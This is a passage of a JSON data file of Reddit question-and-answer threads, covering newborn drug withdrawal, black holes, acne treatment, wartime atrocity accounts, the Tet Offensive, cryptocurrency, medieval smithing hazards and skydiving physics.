it. This is chemical (sometimes called physical) dependency. As opposed to a psychological dependency, which is when your brain remembers how good it felt to do or take something, and wants to do it again. Both are parts of substance abuse and addiction. Drug addicts usually have both, but I believe a fetus and newborn baby only has chemical, since they have no idea what causes the drug's intake, and no control over whether they get it. \n\nWithdrawal symptoms can vary greatly, from a headache for caffeine, to tremors and seizures from cocaine. Some of these can be deadly. \n\nIt's been a while since I've been in school and done research on this topic, so if anybody has any corrections, feel free to respond. Hope this helps clear things up, OP.", "Yay! A questions I can answer! I\u2019m a NICU nurse in Detroit and we see this A LOT. Our biggest issue right now is actually babies being born addicted to opiates because of the opiate crisis. Unfortunately, if mom is enough of a user, they\u2019re told NOT to stop cold-turkey while pregnant because the baby can withdraw and have seizures in-utero.\n\nThese babies come out and tend to be SGA (small for gestational age) depending on the drug they were exposed to. Cocaine can make babies small and can also make mom have a uterine antiproton, leading to preterm delivery. Once born we begin doing \u201cFinnegan scoring.\u201d It is a tool that allows us to score a baby for different signs of withdraw. They have a lot of the typical things you\u2019d expect (crying, tremors) and other things you may not expect (poor feeding, yawning, tone, sneezing.) Each symptom and it\u2019s severity gets a number, once this number gets high enough we start them on oral morphine. Babies cannot go cold-turkey or they risk seizures and even death. We continue the scoring every 3 hours and wean the morphine as tolerated. Eventually (could be weeks or months) babies are able to be weaned off the morphine and go home (usually Foster care.) ", "If a mother does drugs, a baby does drugs. Their brains are just as (and often more) effected, and after birth they can suffer withdraw the same as an adult on top of the perminant health effects and predispositon to addiction problems and drug use in the future.", "I cannot speak as well for diagnosis as another poster has, but I'll throw my hat into the ring for the other parts.\n\n\nAddictive substances REACH an unborn child because the child is fed in utero by the pregnant mother's bloodstream.  Her liver and other organs will filter out some of the drug over time, but the child will still receive nearly the same concentration as the mother... And respond to it with organs that are still developing.  \n\n\nNow, in any body, addictive drugs will change how internal chemistry works.  Your body produces hormones that regulate almost everything.  Many hormones function just as a signal, some also play an active role as a catalyst to a bodily function.  They all work together to TRY to keep the body in balance.\n\n\nAn addictive substance will change this balance.  Sometimes it just disrupts the balance.  Other times, a drug will become a replacement for an important chemical the body should naturally produce.  This shift can be so dramatic that removal of the addictive drug will threaten to kill the person as they go through withdrawals.  Too many delicate balances are disrupted by the drug's removal, and the body is pushed to do more than it can handle.  It's several organs not being able to do their job properly at once, while at the same time the rest of the body is acting up or freaking out.\n\nI know a little bit about diagnosis in infants.  I was adopted along with several other brothers, and the subject of being born addicted came up.  We were never told under uncertain terms that I WAS addicted to anything, or that my biological mother did drugs while pregnant with me.  But I grew up thinking \"I may have a very different response to drugs than most other people.  It's not worth taking a chance.\"\n As another poster said, many of the symptoms infants exhibit will mirror severe withdrawal symptoms in adults.  If my siblings or I experienced this, none of us has any living memory of it.\n\n\nIf you are a mother of planning on becoming one, please keep your health in check for your child's sake.  Don't take unnecessary risks with recreational drugs, don't drink alcohol while pregnant.  Your child's body will have to hear whatever burden you put upon your own.  And they may not be made to carry that burden without consequence.  I cannot tell you how heartbreaking I find it to hear somebody is drinking while pregnant, or smoking tobacco while pregnant.  It's even more terrible to find from otherwise intelligent people who are ABLE to know better, but allow themselves to be comforted by lies and outright stupidity... All because that stupidity let's them keep a habit a bit longer.", "Person born addicted to methamphetamine here.\n\nI was not taken away from my mother (who actively used throughout the pregnancy with me) immediately, instead abandoned by her when I was two weeks old, when she finally told my father that she had been pregnant, none the less gave birth. \n\nAccording to my father and my grandmother, it was a mix of the knowledge of her drug use (why my parents broke up in the first place), my pallor(sickly pale), my size (severely underweight and small), being super collic-y (when babies cry inconsolably, past the point of \"I'm new in this world and it's overwhelming\" and right into \"scream for hours everyday until you lose your voice, even though you're only days old\" territory), and the fact that I shook like a nervous Chihuahua in a snowstorm, that made them aware of the the fact that I was, before my first month of life, going through withdrawal symptoms.\n\nMy dad went back to job core once he got everything figured out for me to stay with my grandmother, and she says that I stayed in this state for weeks before I started to gain weight at an appropriate level. She also stated that she and her sisters would have to hold me all day, to calm me down, and because it would help with the shaking, which they all worried would injure me if they left me alone shaking.\n\nBut afaik I don't have any \"lasting\" side effects, other then a cooking pot of mental health issues, but those also come from other bad life experiences.", "Do you think there needs to be Laws set against expectant mothers who choose to poison, abuse and destroy the futures, bodies and minds of the brand new human life being formed within that they have chosen to take full term as their own bodily health plummets whilst introducing baby to class a drugs and or alcohol. Currently there a no laws for mothers who wilfully have substance and alcohol abused the life within to birth a baby that is in an untold amount of withdrawal agony on top of damage caused from nutrition deficiency and toxicity damage from suppressed organ function in mother. The baby has literally been abused poisoned and robbed of a strong healthy future. Should these laws be set in place to carry mandatory custodial sentences varying by medical evidence. These laws may serve as a stronger deterrent as clearly their own flesh  &  blood was not strong enough a deterrent to keep them clean and sober. What do you think?", "I was on methadone many many years ago, we went to a clinic every morning for our daily dose. There was a girl who had gotten pregnant while in the program. the Dr had to keep increasing her daily dose during the pregnancy. the reason for this is the baby was stealing her methadone and her normal milligrams we're not enough, she was taking methadone for 2 now. I don't recall what her dose was towards the end, but I do know it practically doubled. when the baby was born she then went back to her regular dose, the baby went into withdrawal. they did not wean the baby off, the supply ended with the cutting of the umbilical cord. the Dr had told her the baby would withdrawal for a few weeks and be fine. \nthe baby was born health, but she was smaller due to side effects of being on methadone while pregnant.", "The ELI5 answer is that the babies go through withdrawals just like an adult. It comes down to recognizing the symptoms.", "My ex wife was administered to bed rest with monitors for our son, when her amniotic sack tore at 22 weeks. Our neighbor to the right of us, was a heroin addict at 6 months pregnant. She would constantly fight the staff to leave so she could go get high, and in watching this unfold, it looked like there was very little the staff could do to keep her from discharging herself. She would leave every other day, and then make a scene in the waiting room to come back to being monitored. The baby was born a few weeks after my son, and his cry was one of the worst sounds I ever heard. Just genuinely hurting and not knowing any reason why he felt that way. They let other parents volunteer to hold the newborns if they are going to be given up for adoption which was sadly the case here. I held that baby almost s much as I held my son in the NICU. ", "Exactly can parents get on methadone during this time, so that when the baby goes home eventually everything can be about baby care?\nI had my son at 16 28 years ago. He was born early and weighed only 3lbs 4 ounces. So obviously he was in the neo natal program. During that time, there were two little girls barely two pounds. Their cry haunts me still. The nurses were so amazing. Although I was never directly told they were born with drug dependancy, it was very apparent. Days like today, I always hope they have a family of their own and living a nice life.\nSilly I know but sometimes wishing something can make it happen. ", "I haven\u2019t seen many meth babies on here, so it\u2019s interesting to see what their stories are. I was born addicted to meth as well, and NOT taken from my mother either. (I got abandoned at 18 months) Anyhow, I was born 3 lbs, 1oz with my cord wrapped around my neck and little to no amniotic fluid, my intestines were knotted up and not processing what little food I had right and had a 15% chance of survival. I was in the NICU for 4 months. But that\u2019s about all I know.. I was unaware of the shaking and morphine given to ween us off.. but it that for meth also? Also, why wasn\u2019t CPS involved back then? Nowadays if you just sneeze wrong CPS is at your door it seems like. I also have really bad emotional/mental ups and downs as well as ADD, but in order to get on the right meds I have to pay $1000 out of pocket and do 8 hrs worth of neurological testing. Are there any other well-known side effects to being born addicted to meth? It kind of blows my mind that if you\u2019re born addicted to meth, and have ADD/ADHD they treat it with well... more meth (adderall). \ud83e\udd37\ud83c\udffc\u200d\u2640\ufe0f "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], ["https://www.stanfordchildrens.org/en/topic/default?id=neonatal-abstinence-syndrome-90-P02387"], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], ["https://thewomens.r.worldssl.net/images/uploads/downloadable-records/clinical-guidelines/drug-and-alcohol-neonatal-abstinence-syndrome-NAS_160517.pdf", "https://thewomens.r.worldssl.net/images/uploads/downloadable-records/clinical-guidelines/drug-and-alcohol-neonatal-abstinence-syndrome-NAS\\_160517.pdf"], [], ["https://www.lkpz.nl/docs/lkpz_pdf_1310485469.pdf"], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "43ilew", "title": "If you were orbiting a black hole just a few feet outside the event horizon and you stuck your arm past, what would happen when you tried to pull it out?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/43ilew/if_you_were_orbiting_a_black_hole_just_a_few_feet/", "answers": {"a_id": ["czj625e", "czj6deq", "czjbx5c", "czii2wp", "czike0r", "czikfh7", "czikiw1", "cziklpm", "czilqj3", "czimb52", "czimbsq", "czio6hm", "cziowv7", "czipbc4", "czipwv6", "cziqdgp", "czis1sg", "czizlq7"], "score": [3, 2, 3, 4935, 60, 410, 105, 34, 99, 4, 10, 2, 5, 8, 3, 13, 6, 4], "text": ["well, technically speaking, you would not be able to orbit that close to the event horizon, and you would be ripped apart by spaghettification long before you even got close enough to the event horizon. BUT let's say you were immortal and no matter what, your arm would never be detached from your body, most of the laws of physics did not apply to you, and (somehow) you managed to achieve a stable orbit around a black hole for long enough to stick your arm past the event horizon AFTER surviving spaghettification,\nwell...\nyou wouldn't be able to pull your arm back.\nThe force of gravity would be so strong, that you would be stuck there, with your arm inside the black hole, and your body outside until you either decided to succumb to the black holes gravity, or cut your arm off. ", "It depends how big the black hole is. If it's with a black hole let's say with the mass of about 4 suns   you will most certainly be torn apart anyway before u even get to the horizon. But if you choose a bigger black hole  such as a supermassive black hole you could actually  pass the even horizon and you would survive a little longer than a small black hole ", "We were given a problem like this in our masters level Physics class and it generates all kinds of strange answers. \n\n(NOTE: I have been found to have been wrong on many occasions because of the significant changes in physics in 30+ years).\n\nThe first is the difference in gravity. (You can't orbit a black hole at that range, but you could theoretically have some force of near infinite propulsion keeping you out).\n\nHowever, when you put your arm out, and started to put it towards the black hole, the difference in gravity in small measurements like an inch produce enourmous change in force. Hence your arm would literally be ripped apart layer by layer before even getting to the whole (as would your body and whatever you were using to hold you outisde the horizon)\n\nTime dialation also comes into play as blood/nerve signals come into play into the enourmous change in reference frames.\n\nExternal observers from a distance would see your arm go into the hole, but a set of hundreds of micro cameras each with their own associated clock would each be time dialated to the point where if you could recover the recordings, none would enter the hole as they each achieve near infinite acceleration as your arm is ripped apart. \nBasically an observer that could somehow hold himself together as he fell into a black hole, would never get there as time become dialated to  nearly a standstill while external observers see him go right in.\n\nThere all kinds of weird things that happen like this.", "You cannot orbit that close to the horizon. The lowest bound on an orbit's periapsis (perinigricon?) is the photon sphere at 3/2 Schwarzschild radii. Lower, there are no stable orbits and all objects in free fall enter the horizon.\n\nYou could imagine a rocket that kept you at a fixed Schwarzschild position by thrusting outwards, right above the horizon. This requires a proper acceleration that goes to infinity as you approach the horizon. So lowering your arm to the event horizon with the constraint that this rocket develops the necessary acceleration to keep your body out, your arm will be pulled with an arbitrarily large force as it approaches the horizon and will surely be ripped off at some point. This conclusion is independent of the parameters of the black hole or your rocket.", "Here's a follow up question then, what if your arm was arbitrarily long? What if you took a giant stick and moved it towards the black hole such that part of it was outside the event horizon but part of it was inside. I'm curious because I've read that beyond the event horizon, acceleration doesn't matter since the directional field is curved towards the black hole. Well what about the connection of the bar to outside the event horizon?", "Gravity is usually the main conversation piece of a black hole. Magnetic effects are often neglected. In studies of PKS 1830-211, within a few light days of its black hole, there's magnetic fields with strength comparable to that of an MRI. \n\nIn short, months or years before your arm ever got to the horizon, you and/or your ship would be flung wildly about. Possibly sucked into one of the polar gamma ray jets, and turned into a near-light-speed stream of elementary particles. Happy hunting.", "If you were orbiting at the absolute closest point that is stable (which is a good deal further out than that) and if we pretend that your body is able to withstand the tidal forces without being torn apart (in a traditional black hole it would not be), then because you are not a point mass, the redistribution of your weight in moving arm closer would increase the total force on your body, destabilizing your orbit and pulling you into the black hole.", "You vastly overestimate the structural integrity of your body. If you are anywhere near the event horizon of a black hole, you'd be ripped apart. If you are affected by a high gravity, it's like old style drawn-and-quartering, but on a atomic level, and you would literally fall apart.", "Things like this are similar to asking, \"what would happen if you were standing just outside the mushroom cloud column of an atomic bomb as it explodes, and you stuck your arm in that column?\" You're not really going to worry about your arm for very long, there's a lot of forces acting on you far further away than the event horizon. \n\nYeah, the event horizon is the point at which the matter you used to be made up of is forever lost to the black hole, but your body and ship and everything else is long since torn apart before you ever get that close. Especially if there's gas accretion around the hole.", "Your body holds itself together using various forces, such as the bonding between elements in the bones. However, there is no force that the human body has that can overcome the pull of a near orbit of a black hole. When you are in some gravitational field, such as standing on earth, the strength of gravity weakens as you get from your toes to your head. Since earth isnt very dense, and you are very far from its center, there is nowhere near a gravitational difference strong enough to pull you apart.\n\nOrbiting a black hole however, the difference between your arm and your shoulder on the edge of the horizon is so great it'll be ripped off. It'll be ripped off in many pieces: fingers from hand, hand from wrist, wrist from forearm, etc. Because the difference in gravitational force between each of those is greater than the forces that hold them together. ", "What if two equally strong black holes got a hold of opposite ends of a string that has the strength to withstand the pull of these black holes, would the string pull the two black holes together, would the string's matter be torn apart and thus separating the black holes, or something else?", "A lot of people are talking about tidal forces, but for a sufficiently large black hole, the tidal forces are negligible at the event horizon. Spaghettification from the perspective of the infalling observer happens far inside the event horizon for a large black hole. ", "Maybe my understanding / assumptions of the effects of the gravitational acceleration have always been wrong, I'd love to know if so.\n\nThe simplest way I can conceive it is that the mass of the black hole affects space/time in the same manner as it affects your arm. So, in fact your arm could not be ripped off? At somewhere near the event horizon would space/time also be 'stretched' in a way that precludes something with any physical dimension to progress in any way? \n\nI mean; just considering the 'time' aspect being stretched seems to imply that your arm couldn't be ripped off since once instant could not follow the previous instant? And the photons of light you'd need to be able to 'see' your arm being ripped off couldn't escape to get back to your eye. I've always imagined that what you would experience in the simplest explanation is that: say you're in a space suit and stretched your arm out, your arm would begin to be 'dragged' away from you and maybe appear as a long blurred thing stretching into the distance forever.\n\nI seems like there's no explanation of this situation that really makes any kind of sense based how we exist in space / time. Okay maths aside I know it happens, but I still don't see how anything with a physical dimension can actually make it into the singularity or traverse the event horizon if space/time is stretched/warped since any physical attribute of a thing is warped and time would stop. With no passage of time how does \"anything happen\" ? Causality ceases?", "Don't let movies like Interstellar fool you, the extreme gravitational forces of a black hole do not end at the event horizon. You would have become a smooth paste plastered against some interior surface of your spaceship long before you reached that point. (Also, your spaceship would either be being ripped apart, or crushed into a disk, or possibly some of both, assuming its made of any material known to man. But you would probably have been dead long before that became a concern.) ", "What people forget is that the event horizon isn't some magical boundary. It's just the distance where light can't escape. (More or less; I know I'm neglecting the photon sphere and stuff. Reddit pedantry, help me out here.)\n\nYour body, having considerably more mass than light, would get torn to shreds long before you reached the event horizon. The technical term for this process is [spaghettification](_URL_0_).\n\nI understand the spirit of your question, but things don't play out like that in real life.", "Completely ignoring space-time stuff (and ignoring the likely fact that you and your ship would have become a beautiful cloud of stardust being that close):\n\nIf you foolishly stuck your arm out the window of your ship so that you could caress that fabled black veil, your fingers, then arm would disintegrate upon touching the near solid wall of photons orbiting right at the edge of the event horizon. Your hand would see a blinding white light, shifting and undulating in the winds of gravity. It might not even feel the pain of atomic incineration.\n\nYou, however, would see your hand cross the horizon unhindered. At first. Then, as you realize in wonderment what you have done to yourself, you would see your arm slowly fade to a red ghost, then fade completely.  \n\n**EDIT:** I may be wrong on the whole \"wall of photons\" thing. Stay tuned for more.", "This question just makes no sense, period.  It's like saying \"what would happen if you were orbiting the sun a few feet away\" while neglecting that you would be burned to a crisp well before you got there.  It's like saying \"what would it be like if you were walking on the core of the earth\" while neglecting that you'd be \"walking\" in a plastic mass of magma.  The answer you're looking for purely depends on what you want to neglect - and the defining characteristic of a black hole is the gravity well.  If you want to neglect the gravity well and pretend that it's a big puff of cotton candy, then reaching your arm out would result in a tasty treat.", "I've got a question that I don't think warrants a whole thread. What state of matter are black holes? I would assume they aren't any of the standard three. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], [], [], ["https://en.wikipedia.org/wiki/Spaghettification"], [], [], []]}
{"q_id": "10uofe", "title": "If pimples and acne are mainly composed of bacteria, why are there not antibiotics in our pimple cream", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/10uofe/if_pimples_and_acne_are_mainly_composed_of/", "answers": {"a_id": ["c6gu47e", "c6guf7w"], "score": [2, 2], "text": ["Antibiotics *can* be used to treat acne, typically in pill form. ", "There are acne formulations containing clindamycin, but they're prescription only for previously-mentioned reasons."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "22pj8b", "title": "We have lots of historical documentation from people who observed atrocities and war crimes (mostly stumbling upon the aftermath or observing while they happened.) Do we have any accounts from people who directly committed these acts?", "selftext": "Reposted because the first attempt removed for being too broad.\n\nI've been listening to Dan Carlin's: Hardcore History podcast recently and he really likes to talk about the human experiences that are often buried behind the numbers and facts when talking about history. There's a lot of atrocities and war crimes involved in the topics he chose, specifically involving the torture and rape of civilians. \n\nHis series: Ghosts of the Ostfront about the WWII Eastern Front was a particularly visceral and disturbing listen for me considering how recent the conflict was. He talked about things like how German soldiers would destroy Soviet villages and do shit like murder and torture the civilians, or how when the Soviets invaded Berlin, German women were raped and crucified on doors. All of his sources however, seem to come from people who witnessed the events or observed the aftermath, not people who were actually commiting the acts. \n\nI was just wondering if there's anything floating around from the people who actually directly did these things. Did some soldier from the WWII eastern front write in his journal about how he felt after hanging a kid or raping a civilian? I think it would be particularly interested in hearing from someone who was complacent in the whole ordeal, as opposed to being opposed but feeling like they had to follow orders. \n\nJust to add, if anyone has anything similar but not from the WWII Eastern Front, I'd be interested in knowing as well. Stuff like a Mongol who wrote about his involvement in the sacking of Baghdad or a Carthaginian who hammered the nails into a crucified Roman. \n\nThanks!", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/22pj8b/we_have_lots_of_historical_documentation_from/", "answers": {"a_id": ["cgp5cgn", "cgpfy2q"], "score": [3, 2], "text": ["There are a number of accounts in the book *Soldiers: German POWs on Fighting, Killing, and Dying* by Sonke Neitzel and Harald Welzer.  This book (which I still owe this subreddit a review of) features a number of disturbing recorded conversations between German POW's--both from soldiers quartered in England and in the US.  There are casual discussions of rape, reprisals, and executions.  As the men involved did not know they were being recorded, they were astonishingly honest about war crimes.  Many times, they would assert that others in their unit committed the acts, but sometimes they would claim credit themselves.  Of course, many could have been exaggerating their claims to impress their fellow prisoners, but a number of the acts described were confirmed to have happened after the war.\n\nOverall, the book is excellent and has very good insights into the lives of these POW's.  I would recommend it with the caveat that there are a great number of *highly* disturbing sections.  I could only read the book in short bursts, longer sessions would result in me being physically ill.", "I would highly recommend you check out the book *Ordinary Men: Reserve Police Battalion 101 and the Final Solution in Poland* by Christopher Browning. It's an excellent look at how otherwise normal people are able to participate in atrocities. It contains a huge amount of data from people who directly participated in atrocities as well as excellent interpretation.\n\nFurther, it might be worthwhile to read *On Killing: The Psychological Cost of Learning to Kill in War and Society* by Lt Col Dave Grossman. His historical methodology is heavily disputed and might best be ignored but he has many first-hand accounts of killing, and a chapter on atrocity, and his psychological position and theories are much more sound than his historical ones."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1j6e9x", "title": "To what extent did the media coverage of the 1968 Tet Offensive in Vietnam lead to the eventual withdrawal of American forces?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1j6e9x/to_what_extent_did_the_media_coverage_of_the_1968/", "answers": {"a_id": ["cbbk43d"], "score": [3], "text": ["You should consult [the AMA](_URL_1_) conducted by /u/Bernardito and /u/1Tw03Four last month. You'll find lots of answers there. It deals with the American perspective on the war and includes talk of the media's coverage.\n\nEdit: In case anyone doesn't have the time to really delve through the AMA, this excerpt from [a comment](_URL_0_) by /u/1Tw03Four directly answers the question: \n\n > Those are the basics of this long-running narrative that the news media played a key role in undermining public support for the war and ultimately making it impossible for the American military and government to continue to fight. It's probably pretty familiar to most people who've read all that much about the war, and to people who lived through the 60s, 70s, and 80s.\n\n > The Problem with this narrative is that it's largely untrue, or at least a gross oversimplification. It's been repeatedly criticized/complicated by scholars like Daniel Hallin (The Uncensored War), and Melvin Small (Covering Dissent), who argue that while they were certainly obsessed with getting, and telling Americans \"the story\" (something that reporters who were involved often equated with getting \"the truth\" in later years), they were also \"schooled in a set of journalistic practices which, among other things, ensured that the news would reflect, if not always the views of those at the very top of the American political hierarchy, at least the perspectives of American officialdom.\" They were deeply committed to the \"National Security Consensus\" (these are all Hallin's words) which dominated American politics at the time.\n\n > Historians who have actually looked at American news coverage in the war, in other words, usually find that most reporters were actually very supportive of the war effort, and very responsive to the Kennedy and Johnson administration's efforts to keep them \"on message\" - that's why that phone call by Johnson that I refer to above is significant: Johnson felt he had an influence on CBS, and CBS had clearly done something unusual and remarkable by broadcasting Safer's report. If you look at smaller, local papers, and at the whole breadth of American media coverage of the war, it becomes quite clear that the media was actually quite steadfast in its support of the war, and just withering in their criticism (and caricatures) of the anti-war movement.\n\n > Public opinion, in other words, was not shifted by the tone and content of media coverage of the war, so much as media coverage of the war shifted in response to changes in public opinion - and also in response to the United States' sinking fortunes in the war, especially after Tet in 1968.\n\n > The role of the Tet offensive here is actually really important - according to Michael Della Carpini, for example, the significance of the Tet offensive was that it \"shook the establishment perspective on the war,\" allowing non-establishment critics and voices to step in and fill the void. You could argue, in other words, that both media coverage and public support for the war skewed negative after 1968 - not because of some journalistic conspiracy or because of valiant journalists fighting for \"the truth,\" but because the war was going very badly, and its supporters were running out of ways to \"spin\" it well."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.reddit.com/r/AskHistorians/comments/1f9mwe/wednesday_ama_the_united_states_and_the_vietnam/ca8e2zd", "http://www.reddit.com/r/AskHistorians/comments/1f9mwe/wednesday_ama_the_united_states_and_the_vietnam/"]]}
{"q_id": "1zcdlm", "title": "what's stopping me or anyone from making crypto currency (bitcoins/electronic currency)?", "selftext": "What's the process? Why can't average joe just get in the business? Is it harder than I think?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1zcdlm/eli5_whats_stopping_me_or_anyone_from_making/", "answers": {"a_id": ["cfsej8s", "cfsek4b", "cfsfr2n"], "score": [3, 2, 2], "text": ["Anyone can make a cryptocurrency. But very, very few people have the technical and mathematical know-how to make it secure, the business savvy to make it fly, and the persistence to keep it going. Basically, you need to come up with a fundamentally secure way for people to anonymously transfer wealth, come up with a way to make that wealth worth something, and convince a lot of people to go along with it.", "Nothing stops you, in fact I read this [article](_URL_0_) a while ago and its about creating a cryptocurrency of your own based upon the foundations of the open source code provided by one of the veteran bitcoin developers. Though, the new currency has a very low chance of ever becoming as valuable as bitcoin, dogecoin litecoin etc. Hope this helped.\n\n**Edit:** Phrasing.", "Nothing at all stops you, and a lot (a *lot*) of people have already done exactly that. The tough part isn't starting a cryptocurrency, it's getting anyone at all to care about it."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.theguardian.com/technology/2014/jan/07/bitcoin-me-how-to-make-your-own-digital-currency"], []]}
{"q_id": "5fg9uz", "title": "How did medieval blacksmiths protect their eyes from sparks and shrapnel", "selftext": "What was the procedure to remove any shrapnel that may have landed in their eyes while working the metal? ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/5fg9uz/how_did_medieval_blacksmiths_protect_their_eyes/", "answers": {"a_id": ["dakkbph", "daknci5"], "score": [9, 207], "text": ["As a follow up, were trade skill workers aware of some other dangers of this type of work, such hearing damage from loud noises, or respiratory damage from inhaling wood dust? ", "The dangers of smithing and other metalworking do make an appearance in late medieval literature from western Europe, although perhaps not quite as we might imagine. \n\nFirst, there are a few cases in civic and ecclesiastical records where a person is noted as requesting remission from duty or payment for accidents involving what OP suggested as a risk: splashes or shards of metal. A priest in fifteenth-century Germany, for example, lost most of the vision in one eye from a splash of lead in a soldering accident. (It's possible that this priest had a second career, evidently involving metalworking. This was not uncommon for parish priests in the late Middle Ages whose ecclesiastical position paid poorly). Other tasks involving splinters and debris are noted for causing similar accidents, such as woodworking and tree-trimming. This seems to suggest a lack of eye protection in that respect--which is backed up by woodcuts and illuminations of medieval forges, although it's impossible to know how \"standardized\" those depictions are versus reflecting real practice. Smiths are generally pictures wearing aprons, but whether that is a sign that they wanted to protect their clothes or an iconographic marker of artisan status is an open question.\n\nSecond, statutes of blacksmith and goldsmith guilds (along with other craft guilds) frequently establish provisions not just for charitable work in the community, but for caring for old and sick members of the guild--especially those injured on the job. The goldsmiths' guild of Parish, for example, collected the profits from when its members were caught working (illicitly) on Sundays to help fund this.\n\nThe primary places where the hazards of metalworking are discussed, however, are late medieval medical and trade handbooks. Although what is usually called \"the first work of occupational health\" dates from 1473 (published in 1520 in Augsburg; [PDF here](_URL_0_)), there are earlier references in more systematic medical treatises as well.\n\nThe dangers of metalworking, to medieval people, fell into two basic camps as they saw it: lung trouble from poisonous smoke and dust, and eye trouble from smoke and heat. Discussions of *problems* are vastly more frequent than *solutions*, especially concerning declining vision. In fact, one might consider the frequency of connections between blindness and metalworking scattered throughout sources from west *and* east to be a sign that eye protection was lacking. Notably, however, the danger is linked to long-term exposure to heat and smoke (including perpetually watery eyes) rather than industrial accidents with metal.\n\nUlrich Ellenbog in the pamphlet mentioned above, however, has a few suggestions for guarding oneself against the \"poisonous evil vapors and fumes\" over the long term. Now, Ellenbog was also very interested in learned alchemy, and this plays a prominent role in his treatise. That gives rise to the question of just how much of his work is *prescriptive*, an academic writing out of old books, and how much is *descriptive*, broadcasting current practices to others. Or is Ellenbog simply supplying an alchemical/humoral (\"medical\") background to existing safety precautions? It's noteworthy that his primary audience was goldsmiths, a prestigious craft whose participants would likely have had at least some formal education.\n\nEllenbog observes that it is bad to burn damp coal, and it is worse to burn coal in a closed room. So open the windows--yes, *even in winter.* It's also not a good idea for masters to make their apprentices sleep in the same room as the forge. Get them good clean air.\n\nIt's not just the coal fire that's the problem, though. Melting metal also release noxious fumes. Diving into alchemy, he raises the point that smoke from a burning metal takes on the characteristics of the same metal, only amplified. Some metals and therefore their smoke is cold and damp. This seems paradoxical to us when we think of melting metal and smoke, but it relates to the internal effect. Ellenbog describes a chilling and stiffening of limbs and organs--imagine the sensation of having gunk in your lungs so that you can't breathe, you can't get the gunk out.\n\nHis first set of advice here falls in line with dealing with coal vapors: avoidance. Don't lean over the burning metal! This might have had a side effect of helping protect one's eyes from the smoke, but that's not his point: he suggest placing a piece of fabric against your mouth (\"kissing it\") to act as a mask to make *extra* sure you're not breathing it in. I've never seen a breathing-mask pictured in a woodcut, but that could mean either that it was not a common practice or that it did not suit medieval iconographic standards to cover up the mouth in this case. (I'd wager the former, but that's speculation.)\n\nDrawing on medieval disease theory that blamed \"bad air\" for illness and advised fighting it with air that smelled good, Ellenbog offers various suggestions for potpourri concoctions to balance out the bad air with good. He also recommends holding various items in one's mouth, items that range from berries to herbs to emeralds. It's, again, a standard medieval view of \"spices\" (which Paul Freedman defines as \"something rare and probably from the East\" in the medieval imagination) as remedies rather than flavorings.\n\nAnd if all that doesn't work and the smoke is just too much for you, Ellenbog finishes, eat a bunch of garlic and drink a bunch of wine."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://epub.ub.uni-muenchen.de/11778/1/Cim._104.pdf"]]}
{"q_id": "9zw130", "title": "how come a group of jumpers jump out from airplane one after another but the last jumper easily catch the first jumper?", "selftext": "Just thinking about the last jumper jumps few seconds later the first but how come he reaches to the first jumper level and catch him(both are falling freely), and then all jumpers form a circle pattern holding their hands.\n\nEdited: Spelling", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9zw130/eli5_how_come_a_group_of_jumpers_jump_out_from/", "answers": {"a_id": ["eacgek5", "eacgg6f", "eacgloz", "eacidi1", "eacja6c"], "score": [6, 5, 3, 2, 2], "text": ["Air resistance. Skydivers are able to adjust their bodies to create more or less drag which would allow them to slow down or speed up whilst falling through the air.", "Because jumper don't fall at same speed.  A trained jumper can change the aerodynamic shape of their body to either be slow or fast by going full spread out or tucked in and being streamlined.", "They do it by changing how much air resistance they experience by changing their shape.\n\nWhen an object passes through a fluid, the fluid tends to slow it down.  How much fast it slows it down depends on several things, including the shape of the object.  Think about dropping two sheets of paper, one nice and flat, and the other rolled into a ball.  Gravity pulls both sheets the same amount, but the air pushes back on the second one much less at a given speed, so it slows down quicker and the speed at which the force of gravity pulling it towards the ground is the same as the force of the air slowing it down - the speed at which it will fall if allowed to accelerate long enough - is much less.  This is how basic parachutes work - they take a tightly folded piece of cloth which doesn't offer much air resistance at all (like the crumpled piece of paper), and allow it to open up in a sheet which catches the air and slows the user down (like the flat piece of paper).  Similarly, you can change how much air resistance an object produces by changing its orientation relative to the motion of the air.  Try holding out your hand against a strong wind and rotating it so your thumb faces the wind, then your palm, and you'll see what I mean.\n\nSkydivers can change their shape and orientation too.  The normal spread eagle position has close to the highest drag a skydiver can have (without opening a parachute of course), but they can drop much faster by going into a position not unlike a diver - head first, hands at their sides, legs together.", "The reason is that there is something called terminal velocity.\n\n & #x200B;\n\nThe explanation is that the force from gravity is constant  but the air resistance depend on the square of your velocity. The result is that you will soon reach a velocity where the drag of the air is the same as the force of gravity and the speed will remain constant. The air resistance depend on you body position so belly down is slower then head down. Here is quote from Wikipedia so you can see the speed difference .\n\n & #x200B;\n\n\\ > In stable, belly-to-earth position, terminal velocity is about 200 km/h (120 mph). Stable freefall head down position has a terminal speed of 240\u2013290 km/h (around 150\u2013180 mph). Further minimization of drag by streamlining the body allows for speeds in the vicinity of 480 km/h (300 mph).\n\nThe first one that jump out  use a belly down position and the other will go a bit head first until the caches up.\n\nSo head down have a extra speed of 40-90 km/h or 30-60mph or 20-45% faster. With speed difference like that is is not that hard to cache up.", "The last jumper has eaten lots of spicy food. Thus he or she has more fart power then the rest of the jumpers. The last jumper can use these farts to \"boost\" their speed. It is a law that the last jumper MUST have extra farts in case any of the other jumpers need help."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
